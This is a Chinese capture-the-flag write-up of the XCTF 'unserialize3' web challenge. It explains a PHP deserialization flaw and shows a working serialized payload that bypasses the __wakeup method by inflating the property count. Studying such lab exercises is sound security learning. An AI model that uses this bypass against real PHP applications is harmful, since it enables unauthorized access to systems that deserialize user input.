攻防世界-web:unserialize3

题目描述

暂无

题目截图

攻防世界-web:unserialize3
根据题目名称,应该就是php反序列化。

解题思路

class xctf
{
	public $flag = '111';
	public function __wakeup()
	{
		exit('bad requests');
	}
}

根据代码,猜测code的参数即提交反序列化字符串。
我们发现xctf类存在__wakeup函数,而wakeup函数是反序列化后,第一个执行的函数。
我们还发现__wakeup函数中直接die了,后续代码就不会继续执行。
所以猜测此题的思路就是绕过wakeup函数继续执行,得到flag。
序列化代码如下:

<?php
class xctf
{
	public $flag = '111';
}
echo((serialize(new xctf())));

执行输出结果:
攻防世界-web:unserialize3

绕过wakeup函数也很简单,就是在类对象属性个数超过实际个数时就会绕过wakeup函数。
例如当前xctf类对象只有1个参数属性$flag,序列化结果为:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
如果将xctf对象个数改成比1大的数,就会绕过wakeup。
修改后的结果:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
攻防世界-web:unserialize3

提交得分

上一篇:序列化与反序列化


下一篇:php反序列化-unserialize3